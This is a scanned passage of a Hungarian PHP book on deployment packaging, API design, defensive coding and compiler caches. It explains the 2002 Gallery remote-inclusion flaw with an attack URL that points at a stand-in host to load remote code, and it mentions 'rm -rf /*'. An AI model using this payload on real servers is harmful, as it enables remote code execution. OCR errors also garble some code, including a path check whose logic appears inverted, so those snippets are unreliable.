rosszabb volt a helyzet, ha minden gépen mindent forrásból telepítettünk. Hiába igyekez-
tünk mindent összehangolni, a gépek között apró különbségek alakultak ki, ami egy
nagyméretű környezetben elfogadhatatlan.
7. fejezet • A fejlesztőkömyezet kezelése 217

Az Apache csomagolása
Az általam használt Apache-változatok binárisai általában minden gépen szabványosak.
Szeretem, ha az Apache modulok (a mod_php-t is beleértve) megosztott objektumok,
mert az ezáltal elérhető „plug and play" szolgáltatás igen kényelmes. Emellett úgy vélem,
azok a teljesítménnyel kapcsolatos aggályok, amelyeket az Apache modulok megosztott
objektumként való használata kapcsán emlegetnek, túlzottak. Éles kódnál még soha nem
sikerült semmilyen lényeges teljesítménycsökkenést kimutatnom.

Mivel egyfajta „Apache-hacker" vagyok, gyakran teszek a csomagba néhány saját modult,
amelyek eredetileg nem képezik az Apache részét. Ilyen például a mod_backhand,
a mod_log_spread, illetve más modulok egyéni változatai. Két webkiszolgálói RPM
használatát ajánlom. Az egyik magát a mod_so-val felépített webkiszolgálót tartalmazza (a
beállító fájl kivételével), illetve a megosztott objektumként használt szabványos modulo-
kat, a másik az Apache magjával nem terjesztett egyéni modulokat. A kettő elválasztásával
egyszerűen frissíthetjük az Apache-telepítést, anélkül, hogy meg kellene keresnünk és új-
ra kellene építenünk minden nem szabványos modult. Mindezt az teszi lehetővé, hogy az
Apache Group kiváló munkát végez a változatok közötti bináris megfelelőség biztosításá-
ra. Az Apache frissítésekor általában nincs szükség a dinamikusan betölthető modulok új-
raépítésére.

Minthogy az Apache ilyen felépítése moduláris, a beállítófájl létfontosságú ahhoz, hogy


a program elvégezhesse a kívánt feladatokat. Az Apache kiszolgáló általános, az egyes szol-
gáltatások viszont egyediek, ezért a beállításokat célszerű külön csomagolni a binárisoktól.
Az Apache lényegi része az alkalmazásaimnak, ezért httpd. conf állományaimat ugyanab-
ban a CVS tárban tárolom, mint az alkalmazások kódját, és innen másolom őket a helyükre.
A helyes Apache-beállítás egyik alapszabálya, hogy általánosan fogalmazzunk a beállításnál.
Gyakran megfeledkeznek róla, hogy az Apache beállítófájlban helyileg feloldható gépneve-
ket is használhatunk IP literálok helyett. Tegyük fel, hogy minden webkiszolgálónak meg
kell adnunk a következő sort, amelyben az N minden kiszolgálón különböző:

Listen 1 0 . 0 . 0 . N : 8 0 0 0

Ahelyett, hogy magunk írnánk át saját kezűleg minden kiszolgáló httpd. conf állomá-
nyát, használhatunk egy állandó álnevet az /etc/hosts fájlban az ilyen címekhez. A kö-
vetkező sorral például minden gépen beállíthatunk egy externalether álnevet:

10.0.0.1 externalether

A httpd. conf Listen sorából ezek után ez lesz:

Listen externalether:8000
218 PHP fejlesztés felsőfokon

Mivel a gépek IP címének kevésbé gyakran szabad változnia, mint a webkiszolgáló beállí-
tásainak, az álnevek használatával az egész kiszolgálófürtben biztosíthatjuk a httpd. conf
állomány azonosságát.

Ne csatoljuk azokat a modulokat, amelyekre nincs szükségünk. Ne feledjük, hogy a beál-


lítófájlt egy adott szolgáltatáshoz igazítjuk: ha annak nem kell a mod_rewrite, ne töltsük be.

A PHP csomagolása
A mod_php és a tőle függő könyvtárak kezelésére vonatkozó szabályok hasonlóak az
Apache szabályaihoz. Készítsünk egyetlen mesterpéldányt, ami azokat a szolgáltatásokat
és telepítési követelményeket tükrözi, amelyekre minden működtetett számítógépnek
szüksége van. Ezután csatoljunk hozzá kiegészítő csomagokat, amelyek a nem szabvá-
nyos szolgáltatásokat tartalmazzák.

Ne feledjük, hogy a PHP bővítményeket dinamikusan is betölthetjük, ha megosztott ob-


jektumként építjük fel azokat, és a következő sorral töltjük be a php. ini fájlban:

extension = my_extension.so

A PHP egyik érdekes (de gyakran elfeledett) beállítási lehetősége a conf ig-dir támoga-
tása. Tegyük fel, hogy a PHP-t a conf igure --with-config-file-scan-dir kapcso-
lójával telepítjük:

./configure [ options ] --with-config-file-scan~dir=/path/to/configdir

A fenti beállítás esetén a PHP indításkor (a fő php .ini fájl feldolgozása után) végigpász-
tázza a megadott könyvtárat, és automatikusan (ábécésorrendben) betölt minden fájlt,
amelynek kiterjesztése . ini. Ez a gyakorlatban azt jelenti, hogy ha egy bővítményhez
szabványos beállítások tartoznak, beállítófájlt írhatunk kifejezetten e bővítmény számára,
és magához a bővítményhez csatolhatjuk, így a beállítások nem szóródnak szét.

Több ini érték


Egy kulcs többször is ismétlődhet a php. ini állományokban, de mindig az utolsó
kulcs-érték pár használatára kerül sor.
7. fejezet • A fejlesztőkörnyezet kezelése 219

További olvasmányok
A CVS-sel kapcsolatban további információkat a következő helyeken találhatunk:

• A CVS projekt központi webhelye, a http: / /www. cvshome. org rengeteg infor-
mációt tartalmaz a CVS használatával és fejlesztésével kapcsolatban. A CVS The
Cederqvist című elektronikus kézikönyve, amelyet megtalálhatunk a webhelyen,
kiváló bevezető.
• Moshe Bar és Kari Fogelis Open Source Development with CVS című könyve remek
tárgyalása a CVS-sel történő fejlesztésnek.
• Az RPM-mel történő csomagkészítés elsődleges forrása a Red Hat webhelyen,
a http: / /rpm. redhat. com/RPM-HOWTO címen érhető el. Ha más operációs
rendszert használunk, annak dokumentációjában érdemes utánanéznünk a natív
csomagok építésének.
• Az rsync kapcsolóit megtaláljuk az operációs rendszer megfelelő súgó-
oldalain (man). Részletesebb példák és megvalósítások az rsync honlap-
ján, a http: //samba.anu. edu. au/rsync címen találhatók.
Hogyan tervezzünk jó API-t?
Mitől lesz egy kód jó, és mitől egy másik rossz? Ha egy kód helyesen működik és nincse-
nek benne hibák, jó kód? Személyes véleményem szerint nem. Egyetlen kód sem elszige-
telt, és eredeti alkalmazásán túl is fennmarad, így a minőség megállapításánál ezeket a té-
nyezőket is figyelembe kell venni.

Saját meghatározásom szerint egy jó kódnak az alábbihoz hasonló tulajdonságokkal kell


rendelkeznie:

• Könnyű karbantartani.
• Könnyű más környezetben újrahasznosítani.
• A lehető legkevesebb külső függőséggel rendelkezik.
• Új feladatokhoz igazítható.
• Viselkedése megjósolható és biztonságos.

Ha a listát tovább szűkítjük, az alábbi három jellemzőt kapjuk:

• újraépíthető,
• bővíthető,
• védekező.

Alulról felfelé és felülről lefelé tervezés

A tervezés létfontosságú a szoftverfejlesztésben. A témakör igen nagy, így ebben a fejezet-


ben csak a felszínt kapargatjuk meg. Szerencsére számos kitűnő könyvet találunk a témá-
ban, melyek közül kettőt a További olvasmányok részben meg is említünk a fejezet végén.

Általánosságban elmondható, hogy a tervezés módját két kategóriába sorolhatjuk: alulról


felfelé tervezés és felülről lefelé tervezés.
222 PHP fejlesztés felsőfokon

Az alulról felfelé történő tervezésre az jellemző, hogy már a tervezés elején írunk kódot.
Azonosítjuk az alapvető alacsonyszintű elemeket, megkezdjük megvalósításukat, majd ha
elkészültek, összekötjük azokat.

Az ilyen tervezés három ok miatt lehet vonzó:

• Nehéz egy teljes projekt folyamán elvontan dolgozni.


• Mivel azonnal elkezdjük írni a kódot, gyorsan terjeszthető anyaghoz jutunk.
• A tervezési változásokat könnyebb követni, mert az alacsonyszintű elemeket ezek
kevésbé érintik.

Az alulról felfelé tervezés hátránya, hogy az alacsonyszintű elemek külső felülete az


összeépítés során gyakran drasztikus változáson megy keresztül. Ez azt jelenti, hogy
a munka ugyan kezdetben gyors eredményt hoz, de a végén egyre többször lesz szükség
újratervezésre.

Felülről lefelé tervezéskor először az egész alkalmazást alrendszerekre bontjuk, majd az


alrendszereket elemekre, és csak amikor a teljes rendszert megterveztük, akkor valósítjuk
meg a függvényeket és osztályokat.

Az ilyen tervezés előnyei a következők:

• Hamar stabil felületet kapunk.


• Az elemek biztosan illeszkedni fognak egymáshoz, így kevesebbszer kell újrater-
vezni azokat, mint az alulról felfelé tervezésnél.

Újraépíthetőség és bővíthetőség
Sok programozó számára nem magától értetődő, hogy jobb egy stabil felület egy gyengébb
megvalósítással, mint egy rosszul tervezett API jobban megírt kóddal. Tény, hogy az álta-
lunk írt kódot felhasználják majd más programokban, és saját életét kezdi élni. Ha a felületet
jól terveztük meg, a kód mindig újraépíthető, hogy javítsuk teljesítményét, de ha rosszul,
minden változtatásnál módosítanunk kell valamennyi kódot, ami a felületet használja.

Könnyen újraépíthető kódot írni létfontosságú ahhoz, hogy újrahasznosítható és karban-


tartható programot kapjunk. De hogyan tervezzük meg a kódot, hogy könnyen újraépít-
hető legyen? A kulcsot többek között a következők jelentik:

• A logika függvényekbe zárása.


• Egyszerű osztályok és függvények, amelyek építőkockaként szolgálnak.
8. fejezet • Hogyan tervezzünk jó API-t? 223

• Névterek használata a kód egységekre bontásához.


• A kódban levő függőségek csökkentése.

A logika függvényekbe zárása


A kódot újrahasznosíthatóbbá és kezelhetőbbé tevő egyik legfontosabb módszer a logika
függvényekbe helyezése. A következő példa rávilágít, miért is fontos ez.

Egy marylandi üzlet úgy dönt, hogy termékeit az Interneten is kínálja. A marylandi lako-
soknak helyi adót kell fizetniük a boltban vásárolt termékek után, így a programban eh-
hez hasonló kódblokkokat találunk:

$tax = ($user->state == 'M D') ? 0.05*$price : 0;

Ez csak egyetlen sor, alig több karakter, mintha minden adatot egy segédfüggvénynek ad-
nánk át.

Bár az adót eredetileg csak a megrendelő oldalon tüntetjük fel, hamarosan megjelenik
a hirdetésekben és az akciós oldalakon is. Biztosan látjuk az elkerülhetetlent. Két dologra
számíthatunk:

• Maryland új adókulcsokat vezet be.


• A cég úgy dönt, hogy Pennsylvaniában is üzletet nyit, és az ottani lakosoknak is ki-
számítja a forgalmi adót.

Ha bármelyik bekövetkezik, a fejlesztőnek rohammunkában meg kell találnia minden he-


lyet a kódban, ahol az adószámítás történik, és módosításokat kell eszközölnie, hogy
a kód tükrözze az új szabályokat. Egyetlen hely kihagyása is komoly (akár jogi) következ-
ményekkel járhat.

Mindezt elkerülhetjük, ha az adó kiszámítását végző aprócska kódot egy függvénybe zár-
juk, íme egy egyszerű példa:

function Commerce_calculateStateTax($state, $price)


{
switch($state) {
case 'MD':
return 0.05 * $price;
break;
case ' PA' :
return 0.06 * $price;
break;
default:
return 0;
}
Persze ez a megoldás eléggé rövidlátó: feltételezi, hogy az adót csak a vásárló lakhelye
(state, állam) befolyásolja, pedig a valóságban más szempontokat is figyelembe kell venni
(például lehetnek olyanok, akik adómentességet élveznek). Jobb megoldás, ha készítünk
egy függvényt, amelynek bemenete egy teljes felhasználói rekord, így akkor sem kell újra-
tervezni a programfelületet, ha egyedi státust is figyelembe kell venni. íme egy általáno-
sabb függvény, amely vásárlásnál kiszámítja a forgalmi adót:

function Coinmerce_caclulateTax(User $user, $price)


{
return Commerce_calculatestateTax($user->state, $price);
}

Függvények és teljesítmény a PHP-ben

A könyv olvasása közben, vagy amikor teljesítményhangolási útmutatókat böngészünk az


Interneten, gyakran találkozhatunk azzal a megállapítással, hogy a függvények hívása
a PHP-ben „lassú", ami arra utal, hogy a függvényhívások többletköltséggel járnak. Ez
a költség nem nagy, de ha másodpercenként oldalak százait vagy ezreit szolgáltatjuk, ha-
tása már észrevehető, különösen ha a függvényhívás ciklus szerkezetű.

Ezek szerint kerülnünk kell a függvényeket? Egyáltalán nem! Donald Knuth, a számító-
géptudomány egyik atyja szerint „a korai optimalizálás minden rossz gyökere". A teljesít-
ményfokozás és -hangolás gyakran növeli a fenntartás költségeit, ezért csak akkor érde-
mes lenyelnünk ezt a költséget, ha tényleg megéri. Olyan kódot célszerű írni, ami a lehe-
tő legkönnyebben módosítható, a programlogikát osztályokba és függvényekbe kell zár-
nunk, a kód pedig legyen egyszerűen újraépíthető. Működés közben elemezzük a kód
hatékonyságát (a IV. részben leírt módszerek segítségével), és építsük újra azokat a része-
ket, amelyek elfogadhatatlanul költségesek.

Ha a kód szervezését a fejlesztés korai szakaszában optimalizáljuk, gyors kódot kapunk


ugyan, de a program bővítése és karbantartása lehetetlenné válik.

Egyszerű osztályok és függvények használata


Általában véve egy függvénynek vagy tagfüggvénynek egyetlen egyszerű feladatot célszerű
végrehajtania. Ezeket az egyszerű függvényeket aztán más függvények felhasználhatják,
így végezhetünk el összetettebb feladatokat. Ez az a megközelítés, amit a tömbszerű függ-
vények írásával szemben előnyben kell részesítenünk, mert ez segíti az újrahasznosítást.

Az adószámító példában megfigyelhettük, hogyan oszlott az eljárás két függvényre


(Coinmerce_calculateTax () és az általa meghívott Commerce_calculateStateTax ()
8. fejezet • Hogyan tervezzünk jó APl-t? 225

segédfiiggvény). Ezzel a szétválasztással bármilyen környezetben képesek voltunk kiszámíta-


ni az adott államban érvényes forgalmi adót. Ha a teljes programlogika a Commerce_cal-
culateTax () függvényen belül szerepelt volna, a kódot meg kellett volna kettőzni, ha a vá-
sárlások adótartalmának kiszámítása mellett más környezetben is szerettük volna használni.

Névterek használata
A névterek használata minden nagy kódban létfontosságú. Sok más parancsnyelvtől (Perl,
Python, Ruby stb.) eltérően a PHP-ben nincsenek igazi névterek, illetve formális csoma-
goló rendszer. Eme beépített eszközök hiánya még fontosabbá teszi, hogy fejlesztőként
következetes névtérhasználati szabályokat alkalmazzunk. Vegyük a következő szörnyű
kódot:

$number = $_GET['number'];
$valid = validate($number);
if($valid) {
// -----
}

Ha a kódra pillantunk, nem tudjuk megállapítani, mit is csinál. Ha az itt megjegyzésbe tett
blokkot megvizsgáljuk, alkothatunk némi fogalmat a program működéséről, de a kód
több tekintetben is homályos marad:

• Nem tudjuk, hol szerepel a függvények meghatározása. Ha nem az adott oldalon


(márpedig a függvény-meghatározásokat célszerű külön fájlba tenni, hogy
újrahasznosíthatok legyenek), akkor viszont honnan tudjuk, melyik könyvtárban
határozták meg őket?
• A változónevek borzasztóak. A $number semmivel nem utal a változó céljára, és
a $valid sem sokkal jobb.

íme ugyanaz a kód, jobb elnevezésekkel:

$cc_number = $_GET['cc_number'];
$cc_is_valid = CreditCard_IsValidCCNumber($cc_number);
if ($cc_is_valid) {
// ...
}

Ez más sokkal jobb, mint az előző. A $cc_number jelzi, hogy a szám egy hitelkártya szá-
ma (credit card, cc), a CreditCard_IsValidCCNumber () függvénynév pedig elárulja,
hol található a függvény (például CreditCard. inc) és mit csinál (meghatározza, hogy
a hitelkártyaszám érvényes-e).
226 PHP fejlesztés felsőfokon

A névterek használata a következő előnyökkel jár:

• Arra bátorít, hogy a függvényeknek leíró jellegű neveket adjunk.


• Lehetővé teszi, hogy a név alapján megtaláljuk a függvény fizikai helyét.
• Segítségével elkerülhető a névütközés. Az azonosítás, illetve hitelesítés tárgya szá-
mos dolog lehet: a webhely látogatói vagy felügyelői, a hitelkártyák stb. Az olyan
nevek, mint a Member_Authenticate (), az Admin_User_Authenticate ()
vagy a CreditCard_Authenticate () világossá teszik, mire gondolunk.

Bár a PHP nem biztosít formális nyelvi rendszert a névterekhez, osztályok használatával
utánozhatjuk azokat, mint az alábbi példában:

class CreditCard {
static public function IsValidCCNumber()
{
// ...
}
static public function Authenticate()
{
// - . .
}
}

Akár egyszerűen függvényeket, akár névtérutánzó osztályokat használunk, a névtereket


mindig jól meghatározott módon kell társítanunk a fájlok helyéhez. Én az . inc végződés
hozzáfűzését részesítem előnyben, amellyel az alábbihoz hasonló természetes fájlhierar-
chia alakítható ki:

API_ROOT/
CreditCard.inc DB.inc
DB/
Mysql.inc
Oracle.inc

E felépítés szerint a DB_Mysql osztályok az API_ROOT/DB/Mysql. inc állományban


találhatók.

Mély beágyazási fák

A moduláris kód és gyors kód közötti választásban fontos tényező lehet az a komoly kü-
lönbség, ami az include fájlok kezelésében mutatkozik. A PHP teljes egészében futás-
idejű nyelv, ami azt jelenti, hogy a programok fordítása és végrehajtása is fordítási időben
8. fejezet • Hogyan tervezzünk jó API-t? 227

történik. Ha egy programba 50 fájlt ágyazunk be (közvetlenül vagy beágyazások láncán


keresztül), akkor ezt az 50 fájlt minden kérelemnél meg kell nyitni, be kell olvasni, fel kell
dolgozni, le kell fordítani és végre kell hajtani, ami jelentős költséget jelenthet. Még ha
fordítói gyorstárat használunk is (ezzel kapcsolatban lásd a 9. fejezetet), a fájlokat akkor is
el kell érnünk, hogy meggyőződhessünk róla, hogy nem változtak meg a másolat gyors-
tárba helyezése óta. Egy olyan környezetben, ahol másodpercenként oldalak százait vagy
ezreit szolgáltatjuk, ez komoly gond lehet.

A vélemények eltérnek abban a tekintetben, hogy legfeljebb hány fájlt célszerű beágyazni
egy adott oldalon. Egyesek szerint három a megfelelő szám (bár erre semmilyen magyará-
zatot nem adtak), mások amellett kardoskodnak, hogy minden include-dal beemelt kó-
dot be kell írnunk, mielőtt a fejlesztőkörnyezetből üzemi környezetbe helyeznénk a prog-
ramot. Véleményem szerint mindkét megközelítés hibás. Természetesen nevetséges, ha
egy oldalba állományok százait ágyazzuk be, de az a képesség, hogy a kódot fájlokba
oszthatjuk szét, a kezelhetőség szempontjából igenis fontos. A nem kezelhető kód lénye-
gében használhatatlan, az include beágyazások pedig általában nem jelentenek különö-
sebben szűk keresztmetszetet.

A kódnak először is kezelhetőnek és újrahasznosíthatónak kell lennie. Ha ez 10 vagy 20 be-


ágyazott állományt jelent oldalanként, hát legyen. Ha a kódot gyorsabbá kell tennünk, ké-
szítsük el a profilját (a 18. fejezetben bemutatott eljárások használatával), és csak akkor nyir-
báljuk meg a beágyazási fát, ha a profil azt mutatja, hogy az include () és a require ()
használata jelentősen csökkenti a teljesítményt.

A csatolás csökkentése
Csatolás akkor jön létre, ha egy függvény, osztály vagy más kódegység helyes működése
egy másik hasonló egységtől függ. A csatolás rossz, mert függőségek hálóját hozza létre
olyan kódelemek között, amelyeknek önállóaknak kellene lenniük.

Pillantsunk a 8.1 ábrára, ami a Serendipity webes naplórendszer függvényhívási gráfjának


részletét mutatja. (A teljes fa túl bonyolult ahhoz, hogy itt bemutassuk.) Külön figyelmet
érdemelnek azok a csomópontok, ahol számos szál fut össze. E függvények csatolása
igen nagy, ezért szinte lehetetlen módosítani őket. Bármilyen változtatás az adott függ-
vény felületében vagy viselkedésében valószínűleg az összes hívó módosítását igényelné.

Ez nem feltétlenül rossz: minden rendszerben lennie kell alapfüggvényeknek és


-osztályoknak, amelyek olyan stabil elemek, amelyekre a rendszer többi része épül.
Csak tisztában kell lennünk vele: egy stabil kód nem feltétlenül szoros csatolású, de egy
szoros csatolású kódnak stabilnak kell lennie. Ha olyan osztályaink vannak, amelyekről
tudjuk, hogy alaposztályok (például elvont adatbázisrétegek vagy alapműködést leíró osz-
tályok) lesznek, idejekorán szánjunk elegendő időt felületük megfelelő kidolgozására, mi-
előtt annyi kód hivatkozna rájuk, hogy az újratervezés lehetetlenné válik.
228 PHP fejlesztés felsőfokon

8.1 ábra
A Serendipity webes naplórendszer függvényhívási gráfjának részlete.

Védekező kódolás
A védekező kódolás (defenzív kódolás) a feltételezések kiirtása a kódból, különösen ha
más eljárásokból érkező vagy oda továbbított információk kezeléséről van szó.

Az olyan alacsonyszintű nyelvekben, mint a C vagy a C++, a védekező kódolás másféle


tevékenységet jelent. A C-ben a változók típuskényszerítését a fordító végzi; a felhasználói
kódnak az erőforrások felszabadításával és a tártúlcsordulások elkerülésével kell foglal-
koznia. A PHP magasszintű nyelv: az erőforrás-, memória- és átmenetitár-kezelést a PHP
belsőleg intézi. A PHP emellett dinamikus típusokra épül, ami azt jelenti, hogy a fejlesztő
felel minden szükséges típusellenőrzésért. (Hacsak nem objektumokat használunk, ami-
kor élhetünk a típusjelzések eszközével.)

A hatékony védekező kódolásnak a PHP-ben két alapvető feltétele van:

• Kódolási szabványok felállítása a véletlen nyelvtani hibák elkerülésére.


• Fertőtlenítési módszerek használata a rosszindulatú adatok kivédésére.
8. fejezet • Hogyan tervezzünk jó API-t? 229

Kódolási szabványok felállítása


A védekező kódolás nem csak a támadások ellen véd. A legtöbb hiba hanyagságból és
hamis feltételezésekből ered. A legkönnyebben úgy győződhetünk meg arról, hogy más
fejlesztők helyesen használják kódunkat, hogy minden kódot szabványossá teszünk az ar-
gumentumok sorrendje és a visszatérési értékek tekintetében. Egyesek úgy érvelnek,
hogy átfogó dokumentáció birtokában az argumentumsorrend nem számít. Nem értek
egyet velük. Ha egy függvény minden használatba vételekor a kézikönyvhöz vagy saját
dokumentációnkhoz kell fordulnunk, a fejlesztés lassú lesz, és gyakran hibázhatunk.

A következetlen argumentumelnevezésre kitűnő példa a MySQL és PostgreSQL PHP-


ügyfél API. íme a két könyvtár lekérdező függvényének prototípusa:

resource mysql_query ( string query [, resource connection])


resource pg_query ( resource connection, string query)

A különbség igen zavaró, bár világosan dokumentálták.

A visszatérési értékeknek hasonlóan következetesnek és jól meghatározottnak kell lenni-


ük. A logikai (Bool-féle) függvények esetében ez egyszerű: siker esetén true-t, hiba ese-
tén f a 1 se-t kell visszaadnunk. Ha a hibakezelésre kivételeket használunk, hierarchiájuk-
nak jól meghatározottnak kell lennie, amint arról a 3- fejezetben olvashattunk.

Fertőtlenítés i eljárások használata


A 2002 végén a PHP nyelven írt Gallery nevű fényképalbum-programban talált hiba széles
körben ismertté vált. A Gallery a $GALLERY_BASEDIR nevű beállítási változót használta
arra a célra, hogy a felhasználók megváltoztathassák a program alapértelmezett alap-
könyvtárát. Alapállapotban azonban a változó nem volt beállítva; a kód valamennyi
include () utasítása így festett:

<? require($GALLERY_BASEDIR . "init.php"); ?>

Ez azt eredményezte, hogy ha a kiszolgálót a register_globals beállítást bekapcsolva


futtatták (ami a korábbi PHP-változatok alapértelmezett viselkedése volt), egy támadó
ilyen kérelmet adhatott ki:

http://gallery.example.com/view_photo.php?\
GALLERY_BASEDIR=http://evil.attackers.com/evilscript.php%3F

Ennek eredményeképp a require a következőre értékelődött ki:

<? require("http://evil.attackers.com/evilscript.php?init.php"); ?>


230 PHP fejlesztés felsőfokon

Ezzel letöltődött és végrehajtódott az evil. attackers . com címről a megadott kód


- mondanunk sem kell, milyen kellemetlen hatással. Mivel a PHP rendkívül sokoldalú
nyelv, a támadók bármilyen helyi rendszerparancsot kiadhattak. Telepítettek hátsó ajtó-
kat, kiadták az N rm -rf / * ; parancsot, letöltötték a jelszófájlt, és szinte minden elképzel-
hető rosszindulatú tevékenységet végeztek.

Az ilyen támadást távoli parancsbeszúrás (remote command injection) néven ismerik, mi-
vel a kiszolgálót olyan kód végrehajtásába csalogatja be, amelyet nem lenne szabad futtat-
nia. Az ellene való védekezéshez minden alkalmazásban számos biztonsági intézkedést
kell tennünk:

• Mindig kapcsoljuk ki a register_globals beállítást. Ez a beállítás ma már csak


a visszirányú megfelelőséget szolgálja, és hatalmas biztonsági kockázatot jelent.
• Hacsak nincs rá feltétlenül szükségünk, állítsuk of f-ra a php. ini fájl
allow_url_f open beállítását. A Gallery hibáját azért használhatták ki, mert a PHP
minden fájlkezelő függvényének (f open (), include (), require () stb.) tetsző-
leges URL-t adhatunk át, nem csak egyszerű fájlelérési utakat. Bár ez hasznos szol-
gáltatás, gondokat is okozhat. A Gallery fejlesztőinek biztosan nem állt szándéká-
ban, hogy a $GALLERY_BASEDIR távoli fájlokra is beállítható legyen; a kód írása-
kor ez meg sem fordult a fejükben. Michael Radwin a „One Year of PHP at Yahoo!"
című beszédében azt javasolta, hogy soha ne hívjuk az f open () -t URL-lel, helyette
használjuk a PHP-hez mellékelt curl bővítményt. Ezzel biztosak lehetünk benne,
hogy ha távoli erőforrást nyitunk meg, akkor valóban ez volt a szándékunk.
• Mindig érvényesítsük az adatokat. Bár a $GALLERY_BASEDIR változót egyáltalán
nem arra tervezték, hogy parancssorból állítsák be, ha mégis megtörténik, ellen-
őriznünk kell, amit kaptunk. Rendben vannak a fájlrendszerelérési utak? Az adott
fán kívüli állományokra próbálunk hivatkozni? A PHP részleges megoldást nyújt
a problémára, a php. ini open_basedir beállításával. Az open_basedir beállí-
tása megakadályozza, hogy olyan fájlt nyissunk meg, ami az adott könyvtáron kívül
esik. Sajnos használata nincs jó hatással a teljesítményre, és a fejlesztőknek is meg-
nehezíti, hogy összeegyeztethető kódot írjanak. A gyakorlatban a kiszolgálóhelyet
biztosító környezetekben a leghasznosabb, ahol segít abban, hogy a felhasználók
ne zavarják egymás köreit.

Az adatfertőtlenítés lényeges része a biztonságnak. Ha tudjuk, hogy az adatokban nem


szerepelhet HTML, a strip_tags segítségével az alábbi módon távolíthatjuk el a HTML-
kódokat:

// a felhasználónévben nem lehet HTML


$username = strip_tags($_COOKIE['username']);
8. fejezet • Hogyan tervezzünk jó API-t? 231

Ha a felhasználó által megadott bemenetben megengedjük a HTML használatát, az olyan,


mintha felszólítanánk a támadókat a helyközi (cross-site) támadásra. Az ilyen támadások-
ról részletesebben a 3- fejezetben olvashattunk.

Ha fájlnevet kapunk, ugyanígy győződhetünk meg róla, hogy nem lépünk ki az aktuális
könyvtárból:

$filename = $_GET['filename'];
if(substr($filename, 0, 1) == ' / ' II strstr( $ f ilename, "..")) {
// rossz fájl
}

íme egy másik megoldás:

$file_name = realpath($_GET['filename' ] ) ;
$good_path = realpath( " . / " ) ;
if(!strncmp($file_name, $good_path, strlen($good_path))) {
// rossz fájl
}

Az utóbbi ellenőrzés szigorúbb, de költségesebb is.

Egy másik adatfertőtlenítési lépés, amit mindig el kell végeznünk, a használt RDBMS meg-
felelő függvényének vagy a mysql_escape_string () futtatása minden adaton, amit
bármilyen SQL lekérdezés kap. A távoli parancsbeszúrási támadásokhoz hasonlóan
ugyanis vannak SQL-beszúrási támadások is. A függvény automatizálásában egy olyan el-
vont réteg használata segíthet, mint a 2. fejezetben kidolgozott DB osztályoké.

A 23. fejezetben részletesebben megmutatjuk, hogyan írhatunk C nyelvű bemeneti szűrőket,


amelyekkel automatizálható a fertőtlenítő kód futtatása a kérelmekre érkező bemeneten.

Az adatérvényesítés közeli rokona az adatfertőtlenítésnek. Lehet, hogy nem úgy használják


függvényeinket, mint ahogy szerettük volna. Ha a bemenetet nem érvényesítjük, nem csak
biztonsági lyukak keletkezhetnek a kódban, hanem az alkalmazás is helytelenül működhet,
és adatszemét kerülhet adatbázisainkba. Az adatérvényesítéssel a 3- fejezetben foglalkoztunk.

További olvasmányok
Steve McConnell Code Complete című könyve kitűnő bevezető a gyakorlati szoftverfejlesz-
tésbe; egyetlen programozó könyvtára sem lehet teljes nélküle. (Ne törődjünk a Microsoft
Press címkével: a könyv nem kifejezetten Windows-programozással foglalkozik.)

A The Pragmatic Programmer: From Journeyman to Master Dávid Thomas és Andrew


Hunt tollából szintén olyan alapmű, amely nélkül egyetlen fejlesztő sem boldogulhat.
Gyorstárak
Teljesítményfokozás külső módszerekkel
Akármilyen finomhangolást is végezzünk, soha nem szabad szem elől tévesztenünk
a végső célt. Lehet, hogy napi munkánk során arra kell összpontosítanunk, hogy egy
adott működést vagy weboldalt gyorsabbá tegyünk, az alapvető feladat azonban mindig
az, hogy maga az alkalmazás váljon gyorsabbá. Időnként előfordulhat, hogy egyszeri vál-
toztatásokkal az alkalmazás összességében vett teljesítményét is növelhetjük.

A hatékony működés biztosítéka a körültekintő és megbízható tervezés, és a helyes prog-


ramozási módszerek használata. Ezek semmivel sem válthatók ki. Mindennek tudatában
számos módszer létezik arra, hogy a PHP-n kívül javítsuk alkalmazásunk teljesítményét.
A kiszolgáló, illetve a nyelv szintjén végzett módosítások nem javítják ki a pongyola, illet-
ve kevésbé hatékony kódolást, de azt biztosítják, hogy az alkalmazás a lehetőségekhez
mérten a legjobb teljesítményt nyújtsa.

Fejezetünkben gyors egymásutánban sorra veszünk néhány módszert és terméket, melyek


segíthetnek alkalmazásunk teljesítményének növelésében. Mivel ezek mindegyike vagy
mélyen a PHP belsejében rejtőzik, vagy valamilyen külső megoldást alkalmaz, e fejezet-
ben nem találkozhatunk túl sok PHP kóddal. Mindez azonban ne tartson vissza a fejezet
elolvasásától - a technológiák összjátékából sokszor jelentős hasznunk származhat.

Teljesítményfokozás a nyelv szintjén


Az ide tartozó módszerekben magát a PHP-t módosítjuk a teljesítmény növelésének érde-
kében. A programnyelv szerencsére nagyszerű API-vel rendelkezik a motor szintjén (ezt
a 21. és a 23- fejezetekben tüzetesebben is megismerjük), ami lehetővé teszi, hogy olyan
bővítményeket készítsünk, melyek közvetlenül befolyásolják, miként dolgozza fel és hajt-
ja végre a motor a kódot. Következésképpen ezt a felületet használhatjuk arra, hogy fel-
gyorsítsuk a PHP programok fordítását és végrehajtását.
236 PHP fejlesztés felsőfokon

Fordítói gyorstárak
Ha egyetlen kiszolgálómódosítással szeretnénk PHP alkalmazásunk teljesítményét növel-
ni, egyértelműen a fordítói gyorstár telepítése mellett érdemes döntenünk. Ezzel ugyanis
valóban nagy nyereségre tehetünk szert, ráadásul - ellentétben számos más módszerrel,
melyek az alkalmazás méretének növekedésével egyre kisebb mértékű javulást hoznak -
a fordítói gyorstárak által nyújtott előnyök együtt nőnek a mérettel és az összetettséggel.

De mi is az a fordítói gyorstár? És honnan származik az említett hihetetlen teljesítménynö-


vekedés? Nos, ahhoz, hogy e kérdésekre választ kapjunk, meg kell vizsgálnunk, miként
hajtja végre a Zend Engine a PHP programokat. Amikor a PHP-hez hívás érkezik egy
program végrehajtására, az alábbi kétlépéses folyamat indul el:

1. A PHP beolvassa a fájlt, értelmezi, majd készít egy köztes kódot, ami végrehajtható
a Zend Engine virtuális gépen. A köztes kód számítástechnikai kifejezés, a program
forráskódjának azt a belső ábrázolását jelenti, ami a nyelvi fordítás során keletkezik.
2. A PHP végrehajtja a köztes kódot.

Néhány dolgot meg kell jegyeznünk e folyamat kapcsán:

• Számos programnál - különösen a sok beemelt részt tartalmazóknál - több időt


vesz igénybe az értelmezés és a köztes kód elkészítése, mint ez utóbbi végrehajtása.
• Jóllehet az első lépésben kapott eredmény nem sokat változik két végrehajtás között,
a rendszer mégis újra a teljes folyamatot indítja el a program minden futtatásánál.
• Ez a folyamat nemcsak akkor fut le, amikor a fő fájlt végrehajtjuk, hanem minden
